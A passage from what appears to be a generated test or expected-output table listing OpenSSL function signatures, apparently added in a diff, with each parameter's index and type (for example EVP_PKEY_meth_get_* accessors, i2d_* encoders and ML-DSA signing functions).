*,..(**)(..)) | | EVP_PKEY_meth_get_digestverify | 0 | const EVP_PKEY_METHOD * | +| (const EVP_PKEY_METHOD *,..(**)(..)) | | EVP_PKEY_meth_get_digestverify | 1 | ..(**)(..) | +| (const EVP_PKEY_METHOD *,..(**)(..)) | | EVP_PKEY_meth_get_init | 0 | const EVP_PKEY_METHOD * | +| (const EVP_PKEY_METHOD *,..(**)(..)) | | EVP_PKEY_meth_get_init | 1 | ..(**)(..) | +| (const EVP_PKEY_METHOD *,..(**)(..)) | | EVP_PKEY_meth_get_param_check | 0 | const EVP_PKEY_METHOD * | +| (const EVP_PKEY_METHOD *,..(**)(..)) | | EVP_PKEY_meth_get_param_check | 1 | ..(**)(..) | +| (const EVP_PKEY_METHOD *,..(**)(..)) | | EVP_PKEY_meth_get_public_check | 0 | const EVP_PKEY_METHOD * | +| (const EVP_PKEY_METHOD *,..(**)(..)) | | EVP_PKEY_meth_get_public_check | 1 | ..(**)(..) | +| (const EVP_PKEY_METHOD *,..(**)(..),..(**)(..)) | | EVP_PKEY_meth_get_ctrl | 0 | const EVP_PKEY_METHOD * | +| (const EVP_PKEY_METHOD *,..(**)(..),..(**)(..)) | | EVP_PKEY_meth_get_ctrl | 1 | ..(**)(..) | +| (const EVP_PKEY_METHOD *,..(**)(..),..(**)(..)) | | EVP_PKEY_meth_get_ctrl | 2 | ..(**)(..) | +| (const EVP_PKEY_METHOD *,..(**)(..),..(**)(..)) | | EVP_PKEY_meth_get_decrypt | 0 | const EVP_PKEY_METHOD * | +| (const EVP_PKEY_METHOD *,..(**)(..),..(**)(..)) | | EVP_PKEY_meth_get_decrypt | 1 | ..(**)(..) | +| (const EVP_PKEY_METHOD *,..(**)(..),..(**)(..)) | | EVP_PKEY_meth_get_decrypt | 2 | ..(**)(..) | +| (const EVP_PKEY_METHOD *,..(**)(..),..(**)(..)) | | EVP_PKEY_meth_get_derive | 0 | const EVP_PKEY_METHOD * | +| (const EVP_PKEY_METHOD *,..(**)(..),..(**)(..)) | | EVP_PKEY_meth_get_derive | 1 | ..(**)(..) | +| (const EVP_PKEY_METHOD *,..(**)(..),..(**)(..)) | | EVP_PKEY_meth_get_derive | 2 | ..(**)(..) | +| (const EVP_PKEY_METHOD *,..(**)(..),..(**)(..)) | | EVP_PKEY_meth_get_encrypt | 0 | const EVP_PKEY_METHOD * | +| (const EVP_PKEY_METHOD *,..(**)(..),..(**)(..)) | | EVP_PKEY_meth_get_encrypt | 1 | ..(**)(..) | +| (const EVP_PKEY_METHOD *,..(**)(..),..(**)(..)) | | EVP_PKEY_meth_get_encrypt | 2 | ..(**)(..) | +| (const EVP_PKEY_METHOD *,..(**)(..),..(**)(..)) | | EVP_PKEY_meth_get_keygen | 0 | const EVP_PKEY_METHOD * | +| (const EVP_PKEY_METHOD *,..(**)(..),..(**)(..)) | | EVP_PKEY_meth_get_keygen | 1 | ..(**)(..) | +| (const EVP_PKEY_METHOD *,..(**)(..),..(**)(..)) | | EVP_PKEY_meth_get_keygen | 2 | ..(**)(..) | +| (const EVP_PKEY_METHOD *,..(**)(..),..(**)(..)) | | EVP_PKEY_meth_get_paramgen | 0 | const EVP_PKEY_METHOD * | +| (const EVP_PKEY_METHOD *,..(**)(..),..(**)(..)) | | EVP_PKEY_meth_get_paramgen | 1 | ..(**)(..) | +| (const EVP_PKEY_METHOD *,..(**)(..),..(**)(..)) | | EVP_PKEY_meth_get_paramgen | 2 | ..(**)(..) | +| (const EVP_PKEY_METHOD *,..(**)(..),..(**)(..)) | | EVP_PKEY_meth_get_sign | 0 | const EVP_PKEY_METHOD * | +| (const EVP_PKEY_METHOD *,..(**)(..),..(**)(..)) | | EVP_PKEY_meth_get_sign | 1 | ..(**)(..) | +| (const EVP_PKEY_METHOD *,..(**)(..),..(**)(..)) | | EVP_PKEY_meth_get_sign | 2 | ..(**)(..) | +| (const EVP_PKEY_METHOD *,..(**)(..),..(**)(..)) | | EVP_PKEY_meth_get_signctx | 0 | const EVP_PKEY_METHOD * | +| (const EVP_PKEY_METHOD *,..(**)(..),..(**)(..)) | | EVP_PKEY_meth_get_signctx | 1 | ..(**)(..) | +| (const EVP_PKEY_METHOD *,..(**)(..),..(**)(..)) | | EVP_PKEY_meth_get_signctx | 2 | ..(**)(..) | +| (const EVP_PKEY_METHOD *,..(**)(..),..(**)(..)) | | EVP_PKEY_meth_get_verify | 0 | const EVP_PKEY_METHOD * | +| (const EVP_PKEY_METHOD *,..(**)(..),..(**)(..)) | | EVP_PKEY_meth_get_verify | 1 | ..(**)(..) | +| (const EVP_PKEY_METHOD *,..(**)(..),..(**)(..)) | | EVP_PKEY_meth_get_verify | 2 | ..(**)(..) | +| (const EVP_PKEY_METHOD *,..(**)(..),..(**)(..)) | | EVP_PKEY_meth_get_verify_recover | 0 | const EVP_PKEY_METHOD * | +| (const EVP_PKEY_METHOD *,..(**)(..),..(**)(..)) | | EVP_PKEY_meth_get_verify_recover | 1 | ..(**)(..) | +| (const EVP_PKEY_METHOD *,..(**)(..),..(**)(..)) | | EVP_PKEY_meth_get_verify_recover | 2 | ..(**)(..) | +| (const EVP_PKEY_METHOD *,..(**)(..),..(**)(..)) | | EVP_PKEY_meth_get_verifyctx | 0 | const EVP_PKEY_METHOD * | +| (const EVP_PKEY_METHOD *,..(**)(..),..(**)(..)) | | EVP_PKEY_meth_get_verifyctx | 1 | ..(**)(..) | +| (const EVP_PKEY_METHOD *,..(**)(..),..(**)(..)) | | EVP_PKEY_meth_get_verifyctx | 2 | ..(**)(..) | +| (const EVP_RAND *) | | EVP_RAND_get0_description | 0 | const EVP_RAND * | +| (const EVP_RAND *) | | EVP_RAND_get0_name | 0 | const EVP_RAND * | +| (const EVP_RAND *) | | EVP_RAND_get0_provider | 0 | const EVP_RAND * | +| (const EVP_RAND *) | | evp_rand_get_number | 0 | const EVP_RAND * | +| (const EVP_RAND *,..(*)(..),void *) | | EVP_RAND_names_do_all | 0 | const EVP_RAND * | +| (const EVP_RAND *,..(*)(..),void *) | | EVP_RAND_names_do_all | 1 | ..(*)(..) | +| (const EVP_RAND *,..(*)(..),void *) | | EVP_RAND_names_do_all | 2 | void * | +| (const EVP_SIGNATURE *) | | EVP_SIGNATURE_get0_description | 0 | const EVP_SIGNATURE * | +| (const EVP_SIGNATURE *) | | EVP_SIGNATURE_get0_name | 0 | const EVP_SIGNATURE * | +| (const EVP_SIGNATURE *) | | EVP_SIGNATURE_get0_provider | 0 | const EVP_SIGNATURE * | +| (const EVP_SIGNATURE *) | | evp_signature_get_number | 0 | const EVP_SIGNATURE * | +| (const EVP_SIGNATURE *,..(*)(..),void *) | | EVP_SIGNATURE_names_do_all | 0 | const EVP_SIGNATURE * | +| (const EVP_SIGNATURE *,..(*)(..),void *) | | EVP_SIGNATURE_names_do_all | 1 | ..(*)(..) | +| (const EVP_SIGNATURE *,..(*)(..),void *) | | EVP_SIGNATURE_names_do_all | 2 | void * | +| (const EVP_SKEY *) | | EVP_SKEY_get0_skeymgmt_name | 0 | const EVP_SKEY * | +| (const EVP_SKEYMGMT *) | | EVP_SKEYMGMT_get0_description | 0 | const EVP_SKEYMGMT * | +| (const EVP_SKEYMGMT *) | | EVP_SKEYMGMT_get0_name | 0 | const EVP_SKEYMGMT * | +| (const EVP_SKEYMGMT *) | | EVP_SKEYMGMT_get0_provider | 0 | const EVP_SKEYMGMT * | +| (const EVP_SKEYMGMT *,..(*)(..),void *) | | EVP_SKEYMGMT_names_do_all | 0 | const EVP_SKEYMGMT * | +| (const EVP_SKEYMGMT *,..(*)(..),void *) | | EVP_SKEYMGMT_names_do_all | 1 | ..(*)(..) | +| (const EVP_SKEYMGMT *,..(*)(..),void *) | | EVP_SKEYMGMT_names_do_all | 2 | void * | +| (const EXTENDED_KEY_USAGE *,unsigned char **) | | i2d_EXTENDED_KEY_USAGE | 0 | const EXTENDED_KEY_USAGE * | +| (const EXTENDED_KEY_USAGE *,unsigned char **) | | i2d_EXTENDED_KEY_USAGE | 1 | unsigned char ** | +| (const FFC_PARAMS *,OSSL_PARAM_BLD *,OSSL_PARAM[]) | | ossl_ffc_params_todata | 0 | const FFC_PARAMS * | +| (const FFC_PARAMS *,OSSL_PARAM_BLD *,OSSL_PARAM[]) | | ossl_ffc_params_todata | 1 | OSSL_PARAM_BLD * | +| (const FFC_PARAMS *,OSSL_PARAM_BLD *,OSSL_PARAM[]) | | ossl_ffc_params_todata | 2 | OSSL_PARAM[] | +| (const FFC_PARAMS *,const BIGNUM **,const BIGNUM **,const BIGNUM **) | | ossl_ffc_params_get0_pqg | 0 | const FFC_PARAMS * | +| (const FFC_PARAMS *,const BIGNUM **,const BIGNUM **,const BIGNUM **) | | ossl_ffc_params_get0_pqg | 1 | const BIGNUM ** | +| (const FFC_PARAMS *,const BIGNUM **,const BIGNUM **,const BIGNUM **) | | ossl_ffc_params_get0_pqg | 2 | const BIGNUM ** | +| (const FFC_PARAMS *,const BIGNUM **,const BIGNUM **,const BIGNUM **) | | ossl_ffc_params_get0_pqg | 3 | const BIGNUM ** | +| (const FFC_PARAMS *,const BIGNUM *,int *) | | ossl_ffc_validate_public_key | 0 | const FFC_PARAMS * | +| (const FFC_PARAMS *,const BIGNUM *,int *) | | ossl_ffc_validate_public_key | 1 | const BIGNUM * | +| (const FFC_PARAMS *,const BIGNUM *,int *) | | ossl_ffc_validate_public_key | 2 | int * | +| (const FFC_PARAMS *,const BIGNUM *,int *) | | ossl_ffc_validate_public_key_partial | 0 | const FFC_PARAMS * | +| (const FFC_PARAMS *,const BIGNUM *,int *) | | ossl_ffc_validate_public_key_partial | 1 | const BIGNUM * | +| (const FFC_PARAMS *,const BIGNUM *,int *) | | ossl_ffc_validate_public_key_partial | 2 | int * | +| (const FFC_PARAMS *,unsigned char **,size_t *,int *) | | ossl_ffc_params_get_validate_params | 0 | const FFC_PARAMS * | +| (const FFC_PARAMS *,unsigned char **,size_t *,int *) | | ossl_ffc_params_get_validate_params | 1 | unsigned char ** | +| (const FFC_PARAMS *,unsigned char **,size_t *,int *) | | ossl_ffc_params_get_validate_params | 2 | size_t * | +| (const FFC_PARAMS *,unsigned char **,size_t *,int *) | | ossl_ffc_params_get_validate_params | 3 | int * | +| (const GENERAL_NAME *) | | GENERAL_NAME_dup | 0 | const GENERAL_NAME * | +| (const GENERAL_NAME *,int *) | | GENERAL_NAME_get0_value | 0 | const GENERAL_NAME * | +| (const GENERAL_NAME *,int *) | | GENERAL_NAME_get0_value | 1 | int * | +| (const GENERAL_NAME *,unsigned char **) | | i2d_GENERAL_NAME | 0 | const GENERAL_NAME * | +| (const GENERAL_NAME *,unsigned char **) | | i2d_GENERAL_NAME | 1 | unsigned char ** | +| (const GENERAL_NAMES *,unsigned char **) | | i2d_GENERAL_NAMES | 0 | const GENERAL_NAMES * | +| (const GENERAL_NAMES *,unsigned char **) | | i2d_GENERAL_NAMES | 1 | unsigned char ** | +| (const GOST_KX_MESSAGE *,unsigned char **) | | i2d_GOST_KX_MESSAGE | 0 | const GOST_KX_MESSAGE * | +| (const GOST_KX_MESSAGE *,unsigned char **) | | i2d_GOST_KX_MESSAGE | 1 | unsigned char ** | +| (const HMAC_CTX *) | | HMAC_CTX_get_md | 0 | const HMAC_CTX * | +| (const HMAC_CTX *) | | HMAC_size | 0 | const HMAC_CTX * | +| (const HT_CONFIG *) | | ossl_ht_new | 0 | const HT_CONFIG * | +| (const IPAddressChoice *,unsigned char **) | | i2d_IPAddressChoice | 0 | const IPAddressChoice * | +| (const IPAddressChoice *,unsigned char **) | | i2d_IPAddressChoice | 1 | unsigned char ** | +| (const IPAddressFamily *) | | X509v3_addr_get_afi | 0 | const IPAddressFamily * | +| (const IPAddressFamily *,unsigned char **) | | i2d_IPAddressFamily | 0 | const IPAddressFamily * | +| (const IPAddressFamily *,unsigned char **) | | i2d_IPAddressFamily | 1 | unsigned char ** | +| (const IPAddressOrRange *,unsigned char **) | | i2d_IPAddressOrRange | 0 | const IPAddressOrRange * | +| (const IPAddressOrRange *,unsigned char **) | | i2d_IPAddressOrRange | 1 | unsigned char ** | +| (const IPAddressRange *,unsigned char **) | | i2d_IPAddressRange | 0 | const IPAddressRange * | +| (const IPAddressRange *,unsigned char **) | | i2d_IPAddressRange | 1 | unsigned char ** | +| (const ISSUER_SIGN_TOOL *,unsigned char **) | | i2d_ISSUER_SIGN_TOOL | 0 | const ISSUER_SIGN_TOOL * | +| (const ISSUER_SIGN_TOOL *,unsigned char **) | | i2d_ISSUER_SIGN_TOOL | 1 | unsigned char ** | +| (const ISSUING_DIST_POINT *,unsigned char **) | | i2d_ISSUING_DIST_POINT | 0 | const ISSUING_DIST_POINT * | +| (const ISSUING_DIST_POINT *,unsigned char **) | | i2d_ISSUING_DIST_POINT | 1 | unsigned char ** | +| (const MATRIX *,const VECTOR *,VECTOR *) | | ossl_ml_dsa_matrix_mult_vector | 0 | const MATRIX * | +| (const MATRIX *,const VECTOR *,VECTOR *) | | ossl_ml_dsa_matrix_mult_vector | 1 | const VECTOR * | +| (const MATRIX *,const VECTOR *,VECTOR *) | | ossl_ml_dsa_matrix_mult_vector | 2 | VECTOR * | +| (const ML_DSA_KEY *) | | ossl_ml_dsa_key_get0_libctx | 0 | const ML_DSA_KEY * | +| (const ML_DSA_KEY *) | | ossl_ml_dsa_key_get_collision_strength_bits | 0 | const ML_DSA_KEY * | +| (const ML_DSA_KEY *) | | ossl_ml_dsa_key_get_name | 0 | const ML_DSA_KEY * | +| (const ML_DSA_KEY *) | | ossl_ml_dsa_key_get_priv | 0 | const ML_DSA_KEY * | +| (const ML_DSA_KEY *) | | ossl_ml_dsa_key_get_priv_len | 0 | const ML_DSA_KEY * | +| (const ML_DSA_KEY *) | | ossl_ml_dsa_key_get_prov_flags | 0 | const ML_DSA_KEY * | +| (const ML_DSA_KEY *) | | ossl_ml_dsa_key_get_pub | 0 | const ML_DSA_KEY * | +| (const ML_DSA_KEY *) | | ossl_ml_dsa_key_get_pub_len | 0 | const ML_DSA_KEY * | +| (const ML_DSA_KEY *) | | ossl_ml_dsa_key_get_seed | 0 | const ML_DSA_KEY * | +| (const ML_DSA_KEY *) | | ossl_ml_dsa_key_get_sig_len | 0 | const ML_DSA_KEY * | +| (const ML_DSA_KEY *) | | ossl_ml_dsa_key_params | 0 | const ML_DSA_KEY * | +| (const ML_DSA_KEY *,int) | | ossl_ml_dsa_key_dup | 0 | const ML_DSA_KEY * | +| (const ML_DSA_KEY *,int) | | ossl_ml_dsa_key_dup | 1 | int | +| (const ML_DSA_KEY *,int,const uint8_t *,size_t) | | ossl_ml_dsa_mu_init | 0 | const ML_DSA_KEY * | +| (const ML_DSA_KEY *,int,const uint8_t *,size_t) | | ossl_ml_dsa_mu_init | 1 | int | +| (const ML_DSA_KEY *,int,const uint8_t *,size_t) | | ossl_ml_dsa_mu_init | 2 | const uint8_t * | +| (const ML_DSA_KEY *,int,const uint8_t *,size_t) | | ossl_ml_dsa_mu_init | 3 | size_t | +| (const ML_DSA_KEY *,int,const uint8_t *,size_t,const uint8_t *,size_t,const uint8_t *,size_t,int,unsigned char *,size_t *,size_t) | | ossl_ml_dsa_sign | 0 | const ML_DSA_KEY * | +| (const ML_DSA_KEY *,int,const uint8_t *,size_t,const uint8_t *,size_t,const uint8_t *,size_t,int,unsigned char *,size_t *,size_t) | | ossl_ml_dsa_sign | 1 | int | +| (const ML_DSA_KEY *,int,const uint8_t *,size_t,const uint8_t *,size_t,const uint8_t *,size_t,int,unsigned char *,size_t *,size_t) | | ossl_ml_dsa_sign | 2 | const uint8_t * | +| (const ML_DSA_KEY *,int,const uint8_t *,size_t,const uint8_t *,size_t,const uint8_t *,size_t,int,unsigned char *,size_t *,size_t) | | ossl_ml_dsa_sign | 3 | size_t | +| (const ML_DSA_KEY *,int,const uint8_t *,size_t,const uint8_t *,size_t,const uint8_t *,size_t,int,unsigned char *,size_t *,size_t) | | ossl_ml_dsa_sign | 4 | const uint8_t * | +| (const ML_DSA_KEY *,int,const uint8_t *,size_t,const uint8_t *,size_t,const uint8_t *,size_t,int,unsigned char *,size_t *,size_t) | | ossl_ml_dsa_sign | 5 | size_t | +| (const ML_DSA_KEY *,int,const uint8_t *,size_t,const uint8_t *,size_t,const uint8_t *,size_t,int,unsigned char *,size_t *,size_t) | | ossl_ml_dsa_sign | 6 | const uint8_t * | +| (const ML_DSA_KEY *,int,const uint8_t *,size_t,const uint8_t *,size_t,const uint8_t *,size_t,int,unsigned char *,size_t *,size_t) | | ossl_ml_dsa_sign | 7 | size_t | +| (const ML_DSA_KEY *,int,const uint8_t *,size_t,const uint8_t *,size_t,const uint8_t *,size_t,int,unsigned char *,size_t *,size_t) | | ossl_ml_dsa_sign | 8 | int | +| (const ML_DSA_KEY *,int,const uint8_t *,size_t,const uint8_t *,size_t,const uint8_t *,size_t,int,unsigned char *,size_t *,size_t) | | ossl_ml_dsa_sign | 9 | unsigned char * | +| (const ML_DSA_KEY *,int,const uint8_t *,size_t,const uint8_t *,size_t,const uint8_t *,size_t,int,unsigned char *,size_t *,size_t) | | ossl_ml_dsa_sign | 10 | size_t * | +| (const ML_DSA_KEY *,int,const uint8_t *,size_t,const uint8_t *,size_t,const uint8_t *,size_t,int,unsigned char *,size_t *,size_t) | | ossl_ml_dsa_sign | 11 | size_t | +| (const ML_DSA_KEY *,unsigned char **) | | ossl_ml_dsa_i2d_pubkey | 0 | const ML_DSA_KEY * | +| (const ML_DSA_KEY *,unsigned char **) | | ossl_ml_dsa_i2d_pubkey | 1 | unsigned char ** | +| (const ML_KEM_KEY *,const ML_KEM_KEY *) | | ossl_ml_kem_pubkey_cmp | 0 | const ML_KEM_KEY * | +| (const ML_KEM_KEY *,const ML_KEM_KEY *) | | ossl_ml_kem_pubkey_cmp | 1 | const ML_KEM_KEY * | +| (const ML_KEM_KEY *,int) | | ossl_ml_kem_key_dup | 0 | const ML_KEM_KEY * | +| (const ML_KEM_KEY *,int) | | ossl_ml_kem_key_dup | 1 | int | +| (const ML_KEM_KEY *,unsigned char **) | | ossl_ml_kem_i2d_pubkey | 0 | const ML_KEM_KEY * | +| (const ML_KEM_KEY *,unsigned char **) | | ossl_ml_kem_i2d_pubkey | 1 | unsigned char ** | +| (const NAMING_AUTHORITY *) | | NAMING_AUTHORITY_get0_authorityId | 0 | const NAMING_AUTHORITY * | +| (const NAMING_AUTHORITY *) | | NAMING_AUTHORITY_get0_authorityText | 0 | const NAMING_AUTHORITY * | +| (const NAMING_AUTHORITY *) | | NAMING_AUTHORITY_get0_authorityURL | 0 | const NAMING_AUTHORITY * | +| (const NAMING_AUTHORITY *,unsigned char **) | | i2d_NAMING_AUTHORITY | 0 | const NAMING_AUTHORITY * | +| (const NAMING_AUTHORITY *,unsigned char **) | | i2d_NAMING_AUTHORITY | 1 | unsigned char ** | +| (const NETSCAPE_CERT_SEQUENCE *,unsigned char **) | | i2d_NETSCAPE_CERT_SEQUENCE | 0 | const NETSCAPE_CERT_SEQUENCE * | +| (const NETSCAPE_CERT_SEQUENCE *,unsigned char **) | | i2d_NETSCAPE_CERT_SEQUENCE | 1 | unsigned char ** | +| (const NETSCAPE_ENCRYPTED_PKEY *,unsigned char **) | | i2d_NETSCAPE_ENCRYPTED_PKEY | 0 | const NETSCAPE_ENCRYPTED_PKEY * | +| (const NETSCAPE_ENCRYPTED_PKEY *,unsigned char **) | | i2d_NETSCAPE_ENCRYPTED_PKEY | 1 | unsigned char ** | +| (const NETSCAPE_PKEY *,unsigned char **) | | i2d_NETSCAPE_PKEY | 0 | const NETSCAPE_PKEY * | +| (const NETSCAPE_PKEY *,unsigned char **) | | i2d_NETSCAPE_PKEY | 1 | unsigned char ** | +| (const NETSCAPE_SPKAC *,unsigned char **) | | i2d_NETSCAPE_SPKAC | 0 | const NETSCAPE_SPKAC * | +| (const NETSCAPE_SPKAC *,unsigned char **) | | i2d_NETSCAPE_SPKAC | 1 | unsigned char ** | +| (const NETSCAPE_SPKI *,unsigned char **) | | i2d_NETSCAPE_SPKI | 0 | const NETSCAPE_SPKI * | +| (const NETSCAPE_SPKI *,unsigned char **) | | i2d_NETSCAPE_SPKI | 1 | unsigned char ** | +| (const NOTICEREF *,unsigned char **) | | i2d_NOTICEREF | 0 | const NOTICEREF * | +| (const NOTICEREF *,unsigned char **) | | i2d_NOTICEREF | 1 | unsigned char ** | +| (const OCSP_BASICRESP *) | | OCSP_resp_get0_certs | 0 | const OCSP_BASICRESP * | +| (const OCSP_BASICRESP *) | | OCSP_resp_get0_produced_at | 0 | const OCSP_BASICRESP * | +| (const OCSP_BASICRESP *) | | OCSP_resp_get0_respdata | 0 | const OCSP_BASICRESP * | +| (const OCSP_BASICRESP *) | | OCSP_resp_get0_signature | 0 | const OCSP_BASICRESP * | +| (const OCSP_BASICRESP *) | | OCSP_resp_get0_tbs_sigalg | 0 | const OCSP_BASICRESP * | +| (const OCSP_BASICRESP *,ASN1_OCTET_STRING **,X509_NAME **) | | OCSP_resp_get1_id | 0 | const OCSP_BASICRESP * | +| (const OCSP_BASICRESP *,ASN1_OCTET_STRING **,X509_NAME **) | | OCSP_resp_get1_id | 1 | ASN1_OCTET_STRING ** | +| (const OCSP_BASICRESP *,ASN1_OCTET_STRING **,X509_NAME **) | | OCSP_resp_get1_id | 2 | X509_NAME ** | +| (const OCSP_BASICRESP *,unsigned char **) | | i2d_OCSP_BASICRESP | 0 | const OCSP_BASICRESP * | +| (const OCSP_BASICRESP *,unsigned char **) | | i2d_OCSP_BASICRESP | 1 | unsigned char ** | +| (const OCSP_CERTID *) | | OCSP_CERTID_dup | 0 | const OCSP_CERTID * | +| (const OCSP_CERTID *,const OCSP_CERTID *) | | OCSP_id_cmp | 0 | const OCSP_CERTID * | +| (const OCSP_CERTID *,const OCSP_CERTID *) | | OCSP_id_cmp | 1 | const OCSP_CERTID * | +| (const OCSP_CERTID *,const OCSP_CERTID *) | | OCSP_id_issuer_cmp | 0 | const OCSP_CERTID * | +| (const OCSP_CERTID *,const OCSP_CERTID *) | | OCSP_id_issuer_cmp | 1 | const OCSP_CERTID * | +| (const OCSP_CERTID *,unsigned char **) | | i2d_OCSP_CERTID | 0 | const OCSP_CERTID * | +| (const OCSP_CERTID *,unsigned char **) | | i2d_OCSP_CERTID | 1 | unsigned char ** | +| (const OCSP_CERTSTATUS *,unsigned char **) | | i2d_OCSP_CERTSTATUS | 0 | const OCSP_CERTSTATUS * | +| (const OCSP_CERTSTATUS *,unsigned char **) | | i2d_OCSP_CERTSTATUS | 1 | unsigned char ** | +| (const OCSP_CRLID *,unsigned char **) | | i2d_OCSP_CRLID | 0 | const OCSP_CRLID * | +| (const OCSP_CRLID *,unsigned char **) | | i2d_OCSP_CRLID | 1 | unsigned char ** | +| (const OCSP_ONEREQ *,unsigned char **) | | i2d_OCSP_ONEREQ | 0 | const OCSP_ONEREQ * | +| (const OCSP_ONEREQ *,unsigned char **) | | i2d_OCSP_ONEREQ | 1 | unsigned char ** | +| (const OCSP_REQINFO *,unsigned char **) | | i2d_OCSP_REQINFO | 0 | const OCSP_REQINFO * | +| (const OCSP_REQINFO *,unsigned char **) | | i2d_OCSP_REQINFO | 1 | unsigned char ** | +| (const OCSP_REQUEST *,unsigned char **) | | i2d_OCSP_REQUEST | 0 | const OCSP_REQUEST * | +| (const OCSP_REQUEST *,unsigned char **) | | i2d_OCSP_REQUEST | 1 | unsigned char ** | +| (const OCSP_RESPBYTES *,unsigned char **) | | i2d_OCSP_RESPBYTES | 0 | const OCSP_RESPBYTES * | +| (const OCSP_RESPBYTES *,unsigned char **) | | i2d_OCSP_RESPBYTES | 1 | unsigned char ** | +| (const OCSP_RESPDATA *,unsigned char **) | | i2d_OCSP_RESPDATA | 0 | const OCSP_RESPDATA * | +| (const OCSP_RESPDATA *,unsigned char **) | | i2d_OCSP_RESPDATA | 1 | unsigned char ** | +| (const OCSP_RESPID *,unsigned char **) | | i2d_OCSP_RESPID | 0 | const OCSP_RESPID * | +| (const OCSP_RESPID *,unsigned char **) | | i2d_OCSP_RESPID | 1 | unsigned char ** | +| (const OCSP_RESPONSE *,unsigned char **) | | i2d_OCSP_RESPONSE | 0 | const OCSP_RESPONSE * | +| (const OCSP_RESPONSE *,unsigned char **) | | i2d_OCSP_RESPONSE | 1 | unsigned char ** | +| (const OCSP_REVOKEDINFO *,unsigned char **) | | i2d_OCSP_REVOKEDINFO | 0 | const OCSP_REVOKEDINFO * | +| (const OCSP_REVOKEDINFO *,unsigned char **) | | i2d_OCSP_REVOKEDINFO | 1 | unsigned char ** | +| (const OCSP_SERVICELOC *,unsigned char **) | | i2d_OCSP_SERVICELOC | 0 | const OCSP_SERVICELOC * | +| (const OCSP_SERVICELOC *,unsigned char **) | | i2d_OCSP_SERVICELOC | 1 | unsigned char ** | +| (const OCSP_SIGNATURE *,unsigned char **) | | i2d_OCSP_SIGNATURE | 0 | const OCSP_SIGNATURE * | +| (const OCSP_SIGNATURE *,unsigned char **) | | i2d_OCSP_SIGNATURE | 1 | unsigned char ** | +| (const OCSP_SINGLERESP *) | | OCSP_SINGLERESP_get0_id | 0 | const OCSP_SINGLERESP * | +| (const OCSP_SINGLERESP *,unsigned char **) | | i2d_OCSP_SINGLERESP | 0 | const OCSP_SINGLERESP * | +| (const OCSP_SINGLERESP *,unsigned char **) | | i2d_OCSP_SINGLERESP | 1 | unsigned char ** | +| (const OPENSSL_CSTRING *,const OPENSSL_CSTRING *) | | index_name_cmp | 0 | const OPENSSL_CSTRING * | +| (const OPENSSL_CSTRING *,const OPENSSL_CSTRING *) | | index_name_cmp | 1 | const OPENSSL_CSTRING * | +| (const OPENSSL_LHASH *) | | OPENSSL_LH_get_down_load | 0 | const OPENSSL_LHASH * | +| (const OPENSSL_LHASH *) | | OPENSSL_LH_num_items | 0 | const OPENSSL_LHASH * | +| (const OPENSSL_SA *) | | ossl_sa_num | 0 | const OPENSSL_SA * | +| (const OPENSSL_SA *,..(*)(..),void *) | | ossl_sa_doall_arg | 0 | const OPENSSL_SA * | +| (const OPENSSL_SA *,..(*)(..),void *) | | ossl_sa_doall_arg | 1 | ..(*)(..) | +| (const OPENSSL_SA *,..(*)(..),void *) | | ossl_sa_doall_arg | 2 | void * | +| (const OPENSSL_SA *,ossl_uintmax_t) | | ossl_sa_get | 0 | const OPENSSL_SA * | +| (const OPENSSL_SA *,ossl_uintmax_t) | | ossl_sa_get | 1 | ossl_uintmax_t | +| (const OPENSSL_STACK *) | | OPENSSL_sk_dup | 0 | const OPENSSL_STACK * | +| (const OPENSSL_STACK *) | | OPENSSL_sk_is_sorted | 0 | const OPENSSL_STACK * | +| (const OPENSSL_STACK *) | | OPENSSL_sk_num | 0 | const OPENSSL_STACK * | +| (const OPENSSL_STACK *,OPENSSL_sk_copyfunc,OPENSSL_sk_freefunc) | | OPENSSL_sk_deep_copy | 0 | const OPENSSL_STACK * | +| (const OPENSSL_STACK *,OPENSSL_sk_copyfunc,OPENSSL_sk_freefunc) | | OPENSSL_sk_deep_copy | 1 | OPENSSL_sk_copyfunc | +| (const OPENSSL_STACK *,OPENSSL_sk_copyfunc,OPENSSL_sk_freefunc) | | OPENSSL_sk_deep_copy | 2 | OPENSSL_sk_freefunc | +| (const OPENSSL_STACK *,int) | | OPENSSL_sk_value | 0 | const OPENSSL_STACK * | +| (const OPENSSL_STACK *,int) | | OPENSSL_sk_value | 1 | int | +| (const OPTIONS *) | | opt_help | 0 | const OPTIONS * | +| (const OSSL_AA_DIST_POINT *,unsigned char **) | | i2d_OSSL_AA_DIST_POINT | 0 | const OSSL_AA_DIST_POINT * | +| (const OSSL_AA_DIST_POINT *,unsigned char **) | | i2d_OSSL_AA_DIST_POINT | 1 | unsigned char ** | +| (const OSSL_ALGORITHM *) | | ossl_algorithm_get1_first_name | 0 | const OSSL_ALGORITHM * | +| (const OSSL_ALGORITHM_CAPABLE *,OSSL_ALGORITHM *) | | ossl_prov_cache_exported_algorithms | 0 | const OSSL_ALGORITHM_CAPABLE * | +| (const OSSL_ALGORITHM_CAPABLE *,OSSL_ALGORITHM *) | | ossl_prov_cache_exported_algorithms | 1 | OSSL_ALGORITHM * | +| (const OSSL_ALLOWED_ATTRIBUTES_CHOICE *,unsigned char **) | | i2d_OSSL_ALLOWED_ATTRIBUTES_CHOICE | 0 | const OSSL_ALLOWED_ATTRIBUTES_CHOICE * | +| (const OSSL_ALLOWED_ATTRIBUTES_CHOICE *,unsigned char **) | | i2d_OSSL_ALLOWED_ATTRIBUTES_CHOICE | 1 | unsigned char ** | +| (const OSSL_ALLOWED_ATTRIBUTES_ITEM *,unsigned char **) | | i2d_OSSL_ALLOWED_ATTRIBUTES_ITEM | 0 | const OSSL_ALLOWED_ATTRIBUTES_ITEM * | +| (const OSSL_ALLOWED_ATTRIBUTES_ITEM *,unsigned char **) | | i2d_OSSL_ALLOWED_ATTRIBUTES_ITEM | 1 | unsigned char ** | +| (const OSSL_ALLOWED_ATTRIBUTES_SYNTAX *,unsigned char **) | | i2d_OSSL_ALLOWED_ATTRIBUTES_SYNTAX | 0 | const OSSL_ALLOWED_ATTRIBUTES_SYNTAX * | +| (const OSSL_ALLOWED_ATTRIBUTES_SYNTAX *,unsigned char **) | | i2d_OSSL_ALLOWED_ATTRIBUTES_SYNTAX | 1 | unsigned char ** | +| (const OSSL_ATAV *,unsigned char **) | | i2d_OSSL_ATAV | 0 | const OSSL_ATAV * | +| (const OSSL_ATAV *,unsigned char **) | | i2d_OSSL_ATAV | 1 | unsigned char ** | +| (const OSSL_ATTRIBUTES_SYNTAX *,unsigned char **) | | i2d_OSSL_ATTRIBUTES_SYNTAX | 0 | const OSSL_ATTRIBUTES_SYNTAX * | +| (const OSSL_ATTRIBUTES_SYNTAX 